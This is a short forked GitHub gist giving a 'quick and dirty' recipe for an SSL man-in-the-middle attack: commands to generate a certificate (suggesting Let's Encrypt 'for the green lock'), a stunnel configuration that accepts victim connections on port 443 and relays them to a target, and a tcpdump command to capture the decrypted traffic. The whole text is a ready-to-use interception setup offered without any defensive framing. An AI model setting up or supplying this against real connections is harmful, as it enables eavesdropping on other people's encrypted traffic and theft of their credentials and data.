Skip to content

Instantly share code, notes, and snippets.

@johnjohnsp1
Forked from ohpe/MiTM-SSL.md
Created February 13, 2018 17:46
Show Gist options
  • Save johnjohnsp1/9320f1f18a3816a28a0f0bf5f675c678 to your computer and use it in GitHub Desktop.
Save johnjohnsp1/9320f1f18a3816a28a0f0bf5f675c678 to your computer and use it in GitHub Desktop.
Simple SSL MiMT using stunnel

Simple SSL MiTM

A quick and dirty SSL MiTM using stunnel

  • Generate a SSL certificate .. or use Let's Encrypt (for the green lock)
openssl req -batch -new -x509 -days 365 -nodes -out mitm.pem -keyout mitm.pem
  • Run stunnel
stunnel mitm.conf
;mitm.conf
[server]
client = no
cert= ./mitm.pem
accept = <EXPOSEDIP>:443
connect = 127.0.0.1:31337

[client]
client = yes
accept = 127.0.0.1:31337
connect = <TARGET>:443
  • Capture unencrypted traffic
sudo tcpdump -ilo -s0 -v -w ./mitm.pcap 'port 31337'
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment